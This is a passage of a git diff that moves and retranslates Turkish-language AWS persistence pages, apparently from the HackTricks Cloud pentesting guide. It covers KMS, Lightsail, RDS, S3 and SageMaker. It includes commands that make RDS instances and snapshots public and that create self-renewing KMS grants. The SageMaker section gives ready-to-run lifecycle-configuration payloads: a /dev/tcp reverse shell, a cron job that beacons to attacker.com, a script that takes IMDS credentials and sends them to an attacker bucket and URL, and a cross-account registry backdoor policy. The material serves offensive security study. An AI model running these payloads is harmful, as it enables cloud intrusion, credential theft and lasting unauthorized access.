--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Bir grant yalnızca şunlardan izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS politikaları aracılığıyla Grant erişimi
|
||||
|
||||
Bir saldırgan **`kms:PutKeyPolicy`** iznini kullanarak, kontrolü altındaki bir kullanıcıya veya hatta harici bir hesaba bir key'e **erişim verebilir**. Daha fazla bilgi için [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) sayfasına bakın.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grant'lar, belirli bir key üzerinde bir principal'e bazı izinler vermenin başka bir yoludur. Bir kullanıcıya grant oluşturma izni veren bir grant vermek mümkündür. Dahası, bir kullanıcının aynı key üzerinde birden fazla (hatta aynı) grant'i olabilir.
|
||||
|
||||
Bu nedenle, bir kullanıcının tüm izinlere sahip 10 grant'e sahip olması mümkündür. Saldırgan bunu sürekli izlemelidir. Ve eğer bir noktada 1 grant kaldırılırsa başka 10 tane oluşturulmalıdır.
|
||||
|
||||
(10'u, kullanıcının hâlâ bazı grant'lere sahipken bir grant'in kaldırıldığını tespit edebilmek için 2 yerine kullanıyoruz)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Bir grant yalnızca şuradan izinler verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,33 +0,0 @@
|
||||
# AWS - Lightsail Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Instance SSH anahtarlarını ve DB şifrelerini indirin
|
||||
|
||||
Muhtemelen değişmeyecekler, bu yüzden onları bulundurmak süreklilik için iyi bir seçenek.
|
||||
|
||||
### Arka Kapı Instance'ları
|
||||
|
||||
Bir saldırgan instance'lara erişim sağlayabilir ve onlara arka kapı ekleyebilir:
|
||||
|
||||
- Örneğin geleneksel bir **rootkit** kullanarak
|
||||
- Yeni bir **genel SSH anahtarı** ekleyerek
|
||||
- Arka kapı ile port knocking kullanarak bir port açarak
|
||||
|
||||
### DNS sürekliliği
|
||||
|
||||
Eğer alan adları yapılandırılmışsa:
|
||||
|
||||
- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirmiş olursunuz.
|
||||
- Alan adından **e-posta** göndermenizi sağlayan bir **SPF** kaydı oluşturun.
|
||||
- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara karşı bir **MitM** gerçekleştirin.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,33 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Download Instance SSH keys & DB passwords
|
||||
|
||||
Muhtemelen değiştirilmezler, bu yüzden bunlara sahip olmak persistence için iyi bir seçenek.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Bir attacker, instances erişimi elde edip bunları backdoor'layabilir:
|
||||
|
||||
- Örneğin geleneksel bir **rootkit** kullanarak
|
||||
- Yeni bir **public SSH key** eklemek
|
||||
- Bir portu port knocking ve backdoor kullanarak açığa çıkarma
|
||||
|
||||
### DNS persistence
|
||||
|
||||
Alan adları yapılandırıldıysa:
|
||||
|
||||
- IP'nizi işaret eden bir subdomain oluşturun; böylece bir **subdomain takeover** elde edersiniz
|
||||
- Alan adından **emails** göndermenize izin veren bir **SPF** kaydı oluşturun
|
||||
- **Ana domain IP'sini kendi IP'niz olarak yapılandırın** ve IP'niz üzerinden meşru hedeflere karşı bir **MitM** gerçekleştirin
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - RDS Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Örneği herkese açık erişilebilir hale getirin: `rds:ModifyDBInstance`
|
||||
|
||||
Bu izne sahip bir saldırgan, **mevcut bir RDS örneğini herkese açık erişilebilir hale getirmek için değiştirebilir**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Veritabanında bir yönetici kullanıcısı oluşturun
|
||||
|
||||
Bir saldırgan, **veritabanında bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**.
|
||||
|
||||
### Anlık görüntüyü herkese açık hale getirin
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Örneği genel erişime açma: `rds:ModifyDBInstance`
|
||||
|
||||
Bu izne sahip bir saldırgan **mevcut bir RDS örneğini genel erişime açmak için değiştirebilir**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### DB içinde bir admin kullanıcı oluştur
|
||||
|
||||
Bir saldırgan sadece **DB içinde bir kullanıcı oluşturabilir**; böylece master kullanıcı parolası değişse bile veritabanına erişimi **kaybetmez**.
|
||||
|
||||
### Snapshot'ı herkese açık yap
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - S3 Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS İstemci Tarafı Şifreleme
|
||||
|
||||
Şifreleme işlemi tamamlandığında kullanıcı, yeni bir anahtar oluşturmak için KMS API'sini kullanacak (`aws kms generate-data-key`) ve **oluşturulan şifreli anahtarı dosyanın meta verileri içinde saklayacaktır** ([python kod örneği](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) böylece şifre çözme işlemi gerçekleştiğinde KMS'yi tekrar kullanarak şifreyi çözebilir:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir.
|
||||
|
||||
### S3 ACL'lerini Kullanma
|
||||
|
||||
Genellikle bucket'ların ACL'leri devre dışı bırakılmış olsa da, yeterli ayrıcalıklara sahip bir saldırgan bunları kötüye kullanabilir (eğer etkinse veya saldırgan bunları etkinleştirebiliyorsa) S3 bucket'ına erişimi sürdürmek için.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Şifreleme işlemi tamamlandığında kullanıcı, yeni bir anahtar oluşturmak için KMS API'sini (`aws kms generate-data-key`) kullanır ve oluşturulan şifrelenmiş anahtarı dosyanın metadata'sı içinde **saklar** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) böylece decrypt işlemi gerçekleştiğinde anahtar tekrar KMS ile decrypt edilebilir:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu nedenle, attacker bu anahtarı metadata'dan elde edip KMS ile (`aws kms decrypt`) decrypt ederek bilgiyi şifrelemek için kullanılan anahtarı elde edebilir. Böylece attacker şifreleme anahtarına sahip olur ve bu anahtar diğer dosyaları şifrelemek için yeniden kullanıldıysa, aynı anahtarı kullanarak onları da çözebilir.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Genellikle bucket'ların ACL'leri devre dışı bırakılmış olsa da, yeterli ayrıcalıklara sahip bir attacker, bunları kötüye kullanarak (etkinleştirildiyse veya attacker bunları etkinleştirebiliyorsa) S3 bucket'a erişimi koruyabilir.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,158 +0,0 @@
|
||||
# Aws Sagemaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Persistence Tekniklerinin Genel Görünümü
|
||||
|
||||
Bu bölüm, Lifecycle Configurations (LCC'ler) istismar edilerek SageMaker'da kalıcılık elde etme yöntemlerini, ters shell'ler, cron işleri, IMDS aracılığıyla kimlik bilgisi hırsızlığı ve SSH arka kapıları dahil olmak üzere özetlemektedir. Bu betikler, örneğin IAM rolü ile çalışır ve yeniden başlatmalar arasında kalıcı olabilir. Çoğu teknik, dışa dönük ağ erişimi gerektirir, ancak AWS kontrol düzlemindeki hizmetlerin kullanımı, ortam "VPC-sadece" modda olsa bile başarıyı sağlayabilir.
|
||||
#### Not: SageMaker not defteri örnekleri, esasen makine öğrenimi iş yükleri için özel olarak yapılandırılmış yönetilen EC2 örnekleridir.
|
||||
|
||||
## Gerekli İzinler
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio Uygulamaları:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Notebook Örneklerinde Yaşam Döngüsü Yapılandırmasını Ayarlama
|
||||
|
||||
### Örnek AWS CLI Komutları:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## SageMaker Studio'da Yaşam Döngüsü Yapılandırmasını Ayarlama
|
||||
|
||||
Yaşam döngüsü yapılandırmaları, SageMaker Studio içinde çeşitli seviyelerde ve farklı uygulama türlerine eklenebilir.
|
||||
|
||||
### Stüdyo Alanı Seviyesi (Tüm Kullanıcılar)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Stüdyo Alanı Seviyesi (Bireysel veya Paylaşılan Alanlar)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Studio Uygulama Yaşam Döngüsü Yapılandırma Türleri
|
||||
|
||||
Yaşam döngüsü yapılandırmaları, farklı SageMaker Studio uygulama türlerine özel olarak uygulanabilir:
|
||||
* JupyterServer: Jupyter sunucusu başlangıcında betikleri çalıştırır, ters shell ve cron işleri gibi kalıcılık mekanizmaları için idealdir.
|
||||
* KernelGateway: Kernel gateway uygulaması başlatıldığında çalışır, başlangıç ayarları veya kalıcı erişim için kullanışlıdır.
|
||||
* CodeEditor: Kod Düzenleyici'ye (Code-OSS) uygulanır, kod düzenleme oturumlarının başlangıcında çalışan betikleri etkinleştirir.
|
||||
|
||||
### Her Tür için Örnek Komut:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Kritik Bilgiler:
|
||||
* Alan veya alan seviyesi LCC'lerin eklenmesi, kapsam içindeki tüm kullanıcıları veya uygulamaları etkiler.
|
||||
* Genellikle alan seviyesinden daha uygulanabilir olan daha yüksek izinler gerektirir (sagemaker:UpdateDomain, sagemaker:UpdateSpace).
|
||||
* Ağ seviyesi kontrolleri (örneğin, katı çıkış filtrelemesi) başarılı ters shell'leri veya veri sızdırmalarını engelleyebilir.
|
||||
|
||||
## Yaşam Döngüsü Yapılandırması ile Ters Shell
|
||||
|
||||
SageMaker Yaşam Döngüsü Yapılandırmaları (LCC'ler), not defteri örnekleri başladığında özel betikler çalıştırır. İzinlere sahip bir saldırgan, kalıcı bir ters shell kurabilir.
|
||||
|
||||
### Payload Örneği:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
Bir saldırgan, LCC scriptleri aracılığıyla cron işleri enjekte edebilir, kötü niyetli scriptlerin veya komutların periyodik olarak çalıştırılmasını sağlayarak gizli bir kalıcılık elde edebilir.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Kimlik Bilgilerinin IMDS (v1 & v2) Üzerinden Sızdırılması
|
||||
|
||||
Yaşam döngüsü yapılandırmaları, IAM kimlik bilgilerini almak ve bunları saldırganın kontrolündeki bir konuma sızdırmak için Instance Metadata Service (IMDS) ile sorgu yapabilir.
|
||||
|
||||
### Yük Örneği:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+230
@@ -0,0 +1,230 @@
|
||||
# AWS - SageMaker Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kalıcılık Tekniklerine Genel Bakış
|
||||
|
||||
Bu bölüm, Lifecycle Configurations (LCCs) kötüye kullanılarak SageMaker'da persistence elde etmeye yönelik yöntemleri özetler; reverse shells, cron jobs, credential theft via IMDS ve SSH backdoors dahil. Bu scriptler instance'ın IAM role ile çalışır ve yeniden başlatmalarda kalıcı olabilir. Çoğu teknik outbound ağ erişimi gerektirir, ancak ortam 'VPC-only' modunda olsa bile AWS control plane üzerindeki servislerin kullanımıyla başarı yine de mümkün olabilir.
|
||||
|
||||
> [!TIP]
|
||||
> Not: SageMaker notebook instances temelde makine öğrenimi iş yükleri için özel olarak yapılandırılmış yönetilen EC2 instance'larıdır.
|
||||
|
||||
## Gerekli İzinler
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio Uygulamaları:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Notebook Instances üzerinde Lifecycle Configuration ayarlama
|
||||
|
||||
### Örnek AWS CLI Komutları:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## SageMaker Studio'da Lifecycle Configuration Ayarlama
|
||||
|
||||
Lifecycle Configurations, SageMaker Studio içinde çeşitli seviyelere ve farklı uygulama türlerine eklenebilir.
|
||||
|
||||
### Studio Domain Seviyesi (Tüm Kullanıcılar)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Space Seviyesi (Bireysel veya Paylaşılan Alanlar)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Studio Uygulama Yaşam Döngüsü Yapılandırma Türleri
|
||||
|
||||
Yaşam döngüsü yapılandırmaları, farklı SageMaker Studio uygulama türlerine özel olarak uygulanabilir:
|
||||
* JupyterServer: Jupyter server başlatılırken scripts çalıştırır, reverse shells ve cron jobs gibi persistence mekanizmaları için idealdir.
|
||||
* KernelGateway: kernel gateway uygulama başlatılırken çalışır, ilk kurulum veya persistent erişim için kullanışlıdır.
|
||||
* CodeEditor: Code Editor (Code-OSS) için uygulanır, code editing sessions başlatıldığında çalışan scripts etkinleştirir.
|
||||
|
||||
### Her Tür İçin Örnek Komut:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### Kod Editörü
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Kritik Bilgi:
|
||||
* LCCs'i domain veya space düzeyinde eklemek, kapsam içindeki tüm kullanıcıları veya uygulamaları etkiler.
|
||||
* Daha yüksek izinler gerektirir (sagemaker:UpdateDomain, sagemaker:UpdateSpace); genellikle space düzeyinde uygulanması domain düzeyine göre daha kolaydır.
|
||||
* Ağ düzeyindeki kontroller (ör. sıkı egress filtering), başarılı reverse shell'leri veya data exfiltration'ı engelleyebilir.
|
||||
|
||||
## Reverse Shell via Lifecycle Configuration
|
||||
|
||||
SageMaker Lifecycle Configurations (LCCs), notebook instances başlarken özel script'ler çalıştırır. İzinlere sahip bir saldırgan kalıcı bir reverse shell kurabilir.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Lifecycle Configuration aracılığıyla Cron Job kalıcılığı
|
||||
|
||||
Bir saldırgan, LCC scripts aracılığıyla cron jobs enjekte ederek kötü amaçlı scriptlerin veya komutların periyodik olarak çalışmasını sağlayabilir ve böylece sinsi bir kalıcılık elde edebilir.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Credential Exfiltration via IMDS (v1 & v2)
|
||||
|
||||
Lifecycle configurations, Instance Metadata Service (IMDS)'i sorgulayarak IAM credentials alabilir ve bunları saldırgan kontrollü bir konuma exfiltrate edebilir.
|
||||
|
||||
### Payload Example:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
## Model Registry kaynak politikası yoluyla kalıcılık (PutModelPackageGroupPolicy)
|
||||
|
||||
SageMaker Model Package Group üzerindeki kaynak tabanlı politikayı kötüye kullanarak harici bir principal'a cross-account hakları verin (ör. CreateModelPackage/Describe/List). Bu, saldırganın IAM user/role'u hedef hesapta kaldırılmış olsa bile zehirlenmiş model sürümlerini itmeye veya model metadata/artifaktlarını okumaya olanak tanıyan kalıcı bir arka kapı oluşturur.
|
||||
|
||||
Gerekli izinler
|
||||
- sagemaker:CreateModelPackageGroup
|
||||
- sagemaker:PutModelPackageGroupPolicy
|
||||
- sagemaker:GetModelPackageGroupPolicy
|
||||
|
||||
Adımlar (us-east-1)
|
||||
```bash
|
||||
# 1) Create a Model Package Group
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=atk-mpg-$(date +%s)
|
||||
aws sagemaker create-model-package-group \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--model-package-group-description "Test backdoor"
|
||||
|
||||
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
|
||||
cat > /tmp/mpg-policy.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowCrossAccountCreateDescribeList",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
|
||||
"Action": [
|
||||
"sagemaker:CreateModelPackage",
|
||||
"sagemaker:DescribeModelPackage",
|
||||
"sagemaker:DescribeModelPackageGroup",
|
||||
"sagemaker:ListModelPackages"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 3) Attach the policy to the group
|
||||
aws sagemaker put-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
|
||||
|
||||
# 4) Retrieve the policy (evidence)
|
||||
aws sagemaker get-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--query ResourcePolicy --output text
|
||||
```
|
||||
Notes
|
||||
